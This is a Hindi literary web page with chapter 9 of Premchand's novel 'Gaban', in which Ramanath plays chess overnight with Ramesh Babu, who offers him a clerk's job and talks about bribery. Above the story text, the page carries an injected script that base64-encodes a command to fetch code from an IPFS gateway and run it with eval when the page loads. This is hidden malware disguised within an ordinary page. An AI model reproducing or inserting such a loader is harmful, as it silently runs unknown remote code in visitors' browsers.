ग़बन उपन्यास भाग-9

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

रमा के परिचितों में एक रमेश बाबू म्यूनिसिपल बोर्ड में हेड क्लर्क थे। उम्र तो चालीस के ऊपर थी, पर थे बडे रसिक। शतरंज खेलने बैठ जाते, तो सवेरा कर देते। दफ़्तर भी भूल जाते। न आगे नाथ न पीछे पगहा। जवानी में स्त्री मर गई थी, दूसरा विवाह नहीं किया। उस एकांत जीवन में सिवा विनोद के और क्या अवलंब था। चाहते तो हज़ारों के वारे-न्यारे करते, पर रिश्वत की कौड़ी भी हराम समझते थे। रमा से बडा स्नेह रखते थे। और कौन ऐसा निठल्ला था, जो

रात-रात भर उनसे शतरंज खेलता। आज कई दिन से बेचारे बहुत व्याकुल हो रहे थे। शतरंज की एक बाज़ी भी न हुई। अखबार कहां तक पढ़ते। रमा इधर दो-एक बार आया अवश्य, पर बिसात पर न बैठा रमेश बाबू ने मुहरे बिछा दिए। उसको पकड़कर बैठाया, पर वह बैठा नहीं। वह क्यों शतरंज खेलने लगा। बहू आई है, उसका मुंह देखेगा, उससे प्रेमालाप करेगा कि इस बूढ़े के साथ शतरंज खेलेगा! कई बार जी में आया, उसे बुलवाएं, पर यह सोचकर कि वह क्यों आने लगा, रह गए। कहां जायं- सिनेमा ही देख आवें- किसी तरह समय तो कटे। सिनेमा से उन्हें बहुत प्रेम न था, पर इस वक्त उन्हें सिनेमा के सिवा और कुछ न सूझा।कपड़े पहने और जाना ही चाहते थे कि रमा ने कमरे में क़दम रखा। रमेश उसे देखते ही गेंद की तरह लुढ़ककर द्वार पर जा पहुंचे और उसका हाथ पकड़कर बोले--आइए, आइए, बाबू रमानाथ साहब बहादुर! तुम तो इस बुड्ढे को बिलकुल भूल ही गए। हां भाई, अब क्यों आओगे?प्रेमिका की रसीली

बातों का आनंद यहां कहां? चोरी का कुछ पता चला?

रमानाथ--कुछ भी नहीं।

रमेश--बहुत अच्छा हुआ, थाने में रपट नहीं लिखाई, नहीं सौ-दो सौ के मत्थे और जाते। बहू को तो बडा दुःख हुआ होगा?

रमानाथ--कुछ पूछिए मत, तभी से दाना-पानी छोड़ रक्खा है? मैं तो तंग आ गया। जी में आता है, कहीं भाग जाऊं। बाबूजी सुनते नहीं।

रमेश--बाबूजी के पास क्या काई का ख़ज़ाना रक्खा हुआ है? अभी चारपांच हज़ार खर्च किए हैं, फिर कहां से लाकर गहने बनवा दें? दस-बीस हज़ार रुपये होंगे, तो अभी तो बच्चे भी तो सामने हैं और नौकरी का भरोसा ही क्या पचास रू. होता ही क्या है?

रमानाथ--मैं तो मुसीबत में फंस गया। अब मालूम होता है, कहीं नौकरी करनी पड़ेगी। चैन से खाते और मौज उडाते थे, नहीं तो बैठे-बैठाए इस मायाजाल में फंसे। अब बतलाइए, है कहीं नौकरी-चाकरी का सहारा?

रमेश ने ताक पर से मुहरे और बिसात उतारते हुए कहा--आओ एक बाज़ी हो जाए, फिर इस मामले को सोचें, इसे जितना आसान समझ रहे हो, उतना आसान नहीं है। अच्छे-अच्छे धक्के खा रहे हैं।

रमानाथ--मेरा तो इस वक्त खेलने को जी नहीं चाहता। जब तक यह प्रश्न हल न हो जाय, मेरे होश ठिकाने नहीं होंगे।

रमेश बाबू ने शतरंज के मुहरे बिछाते हुए कहा--आओ बैठो। एक बार तो खेल लो, फिर सोचें, क्या हो सकता है।

रमानाथ--ज़रा भी जी नहीं चाहता, मैं जानता कि सिर मुडाते ही ओले पड़ेंगे, तो मैं विवाह के नज़दीक ही न जाता!

रमेश--अजी, दो-चार चालें चलो तो आप-ही-आप जी लग जायगा। ज़रा अक्ल की गांठ तो खुले।

बाज़ी शुरू हुई। कई मामूली चालों के बाद रमेश बाबू ने रमा का रूख पीट लिया।

रमानाथ--ओह, क्या ग़लती हुई!

रमेश बाबू की आंखों में नशे की-सी लाली छाने लगी। शतरंज उनके लिए शराब से कम मादक न था। बोले--बोहनी तो अच्छी हुई! तुम्हारे लिए मैं एक जगह सोच रहा हूं। मगर वेतन बहुत कम है, केवल तीस रुपये। वह रंगी दाढ़ी वाले ख़ाँ साहब नहीं हैं, उनसे काम नहीं होता। कई बार बचा चुका हूं। सोचता था, जब तक किसी तरह काम चले, बने रहें। बाल-बच्चे वाले आदमी

हैं। वह तो कई बार कह चुके हैं, मुझे छुट्टी दीजिए।तुम्हारे लायक़ तो वह जगह नहीं है, चाहो तो कर लो। यह कहते-कहते रमा का फीला मार लिया। रमा ने फीले को फिर उठाने की चेष्टा करके कहा--आप मुझे बातों में लगाकर मेरे मुहरे उडाते जाते हैं, इसकी सनद नहीं, लाओ मेरा फीला।

रमेश--देखो भाई, बेईमानी मत करो। मैंने तुम्हारा फीला जबरदस्ती तो नहीं उठाया। हां, तो तुम्हें वह जगह मंजूर है?

रमानाथ--वेतन तो तीस है।

रमेश--हां, वेतन तो कम है, मगर शायद आगे चलकर बढ़जाय। मेरी तो राय है, कर लो।

रमानाथ--अच्छी बात है, आपकी सलाह है तो कर लूंगा।

रमेश--जगह आमदनी की है। मियां ने तो उसी जगह पर रहते हुए लड़कों को एम.ए., एल.एल. बी. करा लिया। दो कॉलेज में पढ़ते हैं। लड़कियों की शादियां अच्छे घरों में कीं। हां, ज़रा समझ-बूझकर काम करने की ज़रूरत है।

रमानाथ--आमदनी की मुझे परवा नहीं, रिश्वत कोई अच्छी चीज़ तो है नहीं।ट

रमेश--बहुत ख़राब, मगर बाल-बच्चों वाले आदमी क्या करें। तीस रुपयों में गुज़र नहीं हो सकती। मैं अकेला आदमी हूं। मेरे लिए डेढ़सौ काफ़ी हैं। कुछ बचा भी लेता हूं, लेकिन जिस घर में बहुत से आदमी हों, लड़कों की पढ़ाई हो, लड़कियों की शादियां हों, वह आदमी क्या कर सकता है। जब तक छोटे-छोटे आदमियों का वेतन इतना न हो जाएगा कि वह भलमनसी के साथ निर्वाह कर सकें, तब तक रिश्वत बंद न होगी। यही रोटी-दाल, घी-दूध तो वह भी खाते हैं। फिर एक को तीस रुपये और दूसरे को तीन सौ रुपये क्यों देते हो? रमा का फर्जी पिट गया, रमेश बाबू ने बडे ज़ोर से कहकहा माराब

रमा ने रोष के साथ कहा--अगर आप चुपचाप खेलते हैं तो खेलिए, नहीं मैं जाता हूं। मुझे बातों में लगाकर सारे मुहरे उडा लिए!

रमेश--अच्छा साहब, अब बोलूं तो ज़बान पकड़ लीजिए। यह लीजिए, शह! तो तुम कल अर्जी दे दो। उम्मीद तो है, तुम्हें यह जगह मिल जाएगी, मगर जिस दिन जगह मिले, मेरे साथ रात-भर खेलना होगा।

रमानाथ--आप तो दो ही मातों में रोने लगते हैं।

रमेश--अजी वह दिन गए, जब आप मुझे मात दिया करते थे। आजकल चन्द्रमा बलवान हैं। इधर मैंने एक माँ सि' किया है। क्या मजाल कि कोई मात दे सके। फिर शह!

रमानाथ--जी तो चाहता है, दूसरी बाज़ी मात देकर जाऊं, मगर देर होगी।

रमेश--देर क्या होगी। अभी तो नौ बजे हैं। खेल लो, दिल का अरमान निकल जाय। यह शह और मात!

रमानाथ--अच्छा कल की रही। कल ललकार कर पांच मातें न दी हों तो कहिएगा।

रमेश--अजी जाओ भी, तुम मुझे क्या मात दोगे! हिम्मत हो, तो अभी सही!

रमानाथ--अच्छा आइए, आप भी क्या कहेंगे, मगर मैं पांच बाज़ियों से कम न खेलूंगा!

रमेश--पांच नहीं, तुम दस खेलो जी। रात तो अपनी है। तो चलो फिर खाना खा लें। तब निश्चिन्त होकर बैठें। तुम्हारे घर कहलाए देता हूं कि आज यहीं सोएंगे, इंतज़ार न करें।

दोनों ने भोजन किया और फिर शतरंज पर बैठेब पहली बाज़ी में ग्यारह बज गए। रमेश बाबू की जीत रही। दूसरी बाज़ी भी उन्हीं के हाथ रही। तीसरी बाज़ी खत्म हुई तो दो बज गए।

रमानाथ--अब तो मुझे नींद आ रही है।

रमेश--तो मुंह धो डालो, बरग रक्खी हुई है। मैं पांच बाज़ियां खेले बगैर सोने न दूंगा।

रमेश बाबू को यह विश्वास हो रहा था कि आज मेरा सितारा बुलंद है। नहीं तो रमा को लगातार तीन मात देना आसान न था। वह समझ गए थे, इस वक्त चाहे जितनी बाज़ियां खेलूं, जीत मेरी ही होगी मगर जब चौथी बाज़ी हार गए, तो यह विश्वास जाता रहा। उलटे यह भय हुआ कि कहीं लगातार हारता न जाऊं। बोले--अब तो सोना चाहिए।

रमानाथ--क्यों, पांच बाजियां पूरी न कर लीजिए?

रमेश--कल दफ़्तर भी तो जाना है।

रमा ने अधिक आग्रह न किया। दोनों सोए।

रमा यों ही आठ बजे से पहले न उठता था, फिर आज तो तीन बजे सोया था। आज तो उसे दस बजे तक सोने का अधिकार था। रमेश नियमानुसार पांच बजे उठ बैठे, स्नान किया, संध्या की, घूमने गए और आठ बजे लौटे, मगर रमा तब तक सोता ही रहा। आखिर जब साढ़े नौ बज गए तो उन्होंने उसे जगाया।

रमा ने बिभड़कर कहा--नाहक जगा दिया, कैसी मजे क़ी नींद आ रही थी।

रमेश--अजी वह अर्जी देना है कि नहीं तुमको?

रमानाथ--आप दे दीजिएगा।

रमेश--और जो कहीं साहब ने बुलाया, तो मैं ही चला जाऊंगा?

रमानाथ--ऊंह, जो चाहे कीजिएगा, मैं तो सोता हूं।

रमा फिर लेट गया और रमेश ने भोजन किया, कपड़े पहने और दफ़्तर चलने को तैयार हुए। उसी वक्त रमानाथ हड़बडाकर उठा और आँखें मलता हुआ बोला--मैं भी चलूंगा। रमेश--अरे मुंह-हाथ तो धो ले, भले आदमी!

रमानाथ--आप तो चले जा रहे हैं।

रमेश--नहीं, अभी पंद्रह-बीस मिनट तक रूक सकता हूं, तैयार हो जाओ।

रमानाथ--मैं तैयार हूं। वहां से लौटकर घर भोजन करूंगा।

रमेश--कहता तो हूं, अभी आधा घंटे तक रूका हुआ हूं।

रमा ने एक मिनट में मुंह धोया, पांच मिनट में भोजन किया और चटपट रमेश के साथ दफ़्तर चला।

रास्ते में रमेश ने मुस्कराकर कहा--घर क्या बहाना करोगे, कुछ सोच रक्खा

है?

रमानाथ--कह दूंगा, रमेश बाबू ने आने नहीं दिया।

रमेश--मुझे गालियां दिलाओगे और क्या फिर कभी न आने पाओगे।

रमानाथ--ऐसा स्त्री-भक्त नहीं हूं। हां, यह तो बताइए, मुझे अर्ज़ी लेकर तो साहब के पास न जाना पड़ेगा?

रमेश--और क्या तुम समझते हो, घर बैठे जगह मिल जायगी? महीनों दौड़ना पड़ेगा, महीनों! बीसियों सिफारिशें लानी पडेंगी। सुबह-शाम हाज़िरी देनी पड़ेगी। क्या नौकरी मिलना आसान है?

रमानाथ--तो मैं ऐसी नौकरी से बाज़ आया। मुझे तो अर्ज़ी लेकर जाते ही शर्म आती है।खुशामदें कौन करेगा- पहले मुझे क्लर्कों पर बडी हंसी आती थी, मगर वही बला मेरे सिर पड़ी। साहब डांट-वांट तो न बताएंगे?

रमेश--बुरी तरह डांटता है, लोग उसके सामने जाते हुए कांपते हैं। रमानाथ--तो फिर मैं घर जाता हूं। यह सब मुझसे न बरदाश्त होगा। रमेश--पहले सब ऐसे ही घबराते हैं, मगर सहते-सहते आदत पड़ जाती है। तुम्हारा दिल धड़क रहा होगा कि न जाने कैसी बीतेगी। जब मैं नौकर हुआ, तो तुम्हारी ही उम्र मेरी भी थी, और शादी हुए तीन ही महीने हुए थे। जिस दिन मेरी पेशी होने वाली थी, ऐसा घबराया हुआ था मानो फाँसी पाने जा रहा हूं;मगर तुम्हें डरने का कोई कारण नहीं है। मैं सब ठीक कर दूंगा।

रमानाथ--आपको तो बीस-बाईस साल नौकरी करते हो गए होंगे!

रमेश--पूरे पच्चीस हो गए, साहब! बीस बरस तो स्त्री का देहांत हुए हो गए। दस रुपये पर नौकर हुआ था!

रमानाथ--आपने दूसरी शादी क्यों नहीं की- तब तो आपकी उम्र पच्चीस से ज़्यादा न रही होगी।

रमेश ने हंसकर कहा--बरफी खाने के बाद गुड़ खाने को किसका जी चाहता है? महल का सुख भोगने के बाद झोंपडा किसे अच्छा लगता है? प्रेम आत्मा को तृप्त कर देता है। तुम तो मुझे जानते हो, अब तो बूढ़ा हो गया हूं, लेकिन मैं तुमसे सच कहता हूं, इस विधुर-जीवन में मैंने किसी स्त्री की ओर आंख तक नहीं उठाई। कितनी ही सुंदरियां देखीं, कई बार लोगों ने विवाह के लिए घेरा भी, लेकिन कभी इच्छा ही न हुई। उस प्रेम की मधुर स्मृतियों में मेरे लिए प्रेम का सजीव आनंद भरा हुआ है। यों बातें करते हुए, दोनों आदमी दफ़्तर पहुंच गए।

ग़बन उपन्यास
भाग-1 | भाग-2 | भाग-3 | भाग-4 | भाग-5 | भाग-6 | भाग-7 | भाग-8 | भाग-9 | भाग-10 | भाग-11 | भाग-12 | भाग-13 | भाग-14 | भाग-15 | भाग-16 | भाग-17 | भाग-18 | उभाग-19 | भाग-20 | भाग-21 | भाग-22 | भाग-23 | भाग-24 | भाग-25 | भाग-26 | भाग-27 | भाग-28 | भाग-29 | भाग-30 | भाग-31 | भाग-32 | भाग-33 | भाग-34 | भाग-35 | भाग-36 | भाग-37 | भाग-38 | भाग-39 | भाग-40 | भाग-41 | भाग-42 | भाग-43 | भाग-44 | भाग-45 | भाग-46 | भाग-47 | भाग-48 | भाग-49 | भाग-50 | भाग-51 | भाग-52 | भाग-53

टीका टिप्पणी और संदर्भ

संबंधित लेख